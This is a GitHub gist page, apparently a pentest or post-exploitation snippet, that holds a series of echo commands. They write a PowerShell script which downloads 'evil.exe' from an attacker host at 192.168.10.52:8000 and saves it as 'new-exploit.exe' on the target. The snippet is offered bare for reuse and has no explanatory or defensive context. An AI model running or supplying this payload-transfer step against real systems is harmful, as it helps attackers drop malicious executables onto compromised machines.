Skip to content

Instantly share code, notes, and snippets.

@DiegoCaridei
Forked from D-Virus/wget.ps1
Created September 10, 2018 12:16
Show Gist options
  • Save DiegoCaridei/d7c7d8f72c4ea40edea081f64e1a9580 to your computer and use it in GitHub Desktop.
Save DiegoCaridei/d7c7d8f72c4ea40edea081f64e1a9580 to your computer and use it in GitHub Desktop.
echo $storageDir = $pwd > wget.ps1
echo $webclient = New‐Object System.Net.WebClient >>wget.ps1
echo $url = "http://192.168.10.52:8000/evil.exe" >>wget.ps1
echo $file = "new-exploit.exe" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment